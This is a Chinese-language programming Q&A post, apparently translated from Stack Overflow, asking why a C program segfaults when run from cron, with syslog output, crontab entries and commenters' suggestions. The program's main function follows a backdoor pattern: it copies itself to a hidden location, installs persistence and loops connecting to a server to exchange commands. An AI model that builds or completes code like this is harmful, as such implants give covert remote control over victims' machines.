【发布时间】:2021-06-03 11:06:25
【问题描述】:
uname -a:
Linux deepin 5.4.70-amd64-desktop #1 SMP Wed Oct 14 15:24:23 CST 2020 x86_64 GNU/Linux
我正在编写一个使用目录和套接字的 C 程序。当我通过命令行运行它时,它可以按预期工作,但是当我通过 cron 运行时,它会遇到分段错误。
这是我的程序的入口点(以及相关部分,我认为)。
#include "../include/persistence.h"
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <libgen.h>
#include "../include/sockets.h"
#include "../include/footprint.h"
#include "../include/commands.h"
int
main(int argc, char *argv[]) {
char destination_path[2048] = { 0 };
char *exec_filename;
char *safe_exec_filename;
char *username;
(void)argc; // to prevent compiler warning about unused argc
username = getenv("USER");
safe_exec_filename = strdup(argv[0]); // for safe use of basename()
exec_filename = basename(safe_exec_filename);
sprintf(destination_path, "/home/%s/.local/bin/", username);
if (!file_exists(destination_path)) {
if (create_dir(destination_path)) {
strcat(destination_path, exec_filename);
hide_file(argv[0], destination_path);
}
}
if ((strlen(exec_filename) + strlen(destination_path)) > 2048) {
printf("BUFFER TOO SMALL\n");
return 1;
}
strcat(destination_path, exec_filename);
printf("%s\n", destination_path);
if (!file_exists(destination_path)) {
hide_file(argv[0], destination_path);
}
if (safe_exec_filename != NULL) {
free(safe_exec_filename);
}
persistence(destination_path);
while (1) {
int16_t server_socket = connect_to_server();
start_communication(server_socket);
}
return 0;
}
通过命令行从任何(相对/绝对)路径执行二进制文件都可以正常工作,但使用 cron,“什么都没有”发生。分析/var/log/syslog时,显示如下:
Mar 4 15:27:01 deepin CRON[14713]: (user) CMD (/home/user/.local/bin/myprogram)
Mar 4 15:27:01 deepin kernel: [ 5934.175052] myprogram[22332]: segfault at 0 ip 00007f4fb5cea327 sp 00007ffd74362328 error 4 in libc-2.28.so[7f4fb5c6f000+148000]
Mar 4 15:27:01 deepin kernel: [ 5934.175060] Code: 0f 7f 27 f3 0f 7f 6f 10 f3 0f 7f 77 20 48 83 c6 30 48 83 c7 30 4c 8d 1d 47 f7 0d 00 49 63 0c 93 49 8d 0c 0b ff e1 66 0f ef c0 <f3> 0f 6f 0e f3 0f 6f 56 10 66 0f 74 c1 66 0f d7 d0 48 85 d2 75 6b
还有我的 crontab -l 输出:
* * * * * /home/user/.local/bin/myprogram
PS:我尝试了@reboot,但将 * * * * * 更改为“调试”。在使用@reboot 并检查日志时,也会出现分段错误。检查 /var/mail/user,它显示:
Content-Transfer-Encoding: 8bit
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/home/user>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=user>
Message-Id: <20210304184201.5A18124898@deepin>
Date: Thu, 4 Mar 2021 15:27:02 -0300 (-03)
Segmentation fault
编辑1:我已经尝试(在主函数的顶部)放置一个创建文件的函数,写入文件并保存。这个函数永远不会执行。我创建了另一个程序,它只有一个写入文件并保存的主函数。将二进制文件放在 myprogram 的同一个文件夹中,并为其创建一个 cron 并正常执行(我可以看到生成的文件,并且日志上没有显示段错误或其他错误)。
【问题讨论】:
-
尝试在 valgrind 下运行您的代码。如果你的内存管理不善,它会告诉你在哪里。
-
通过命令行使用
--leak-check=full运行valgrind 显示没有错误并且程序进入recv(如预期的那样)。我不知道如何使用 crontrab 运行 valgrind。 -
解决了这个answer。感谢@Nate Eldredge。
-
如何避免
code has no purpose警告(关于第一个语句argc;的存在)???
标签: c linux cron segmentation-fault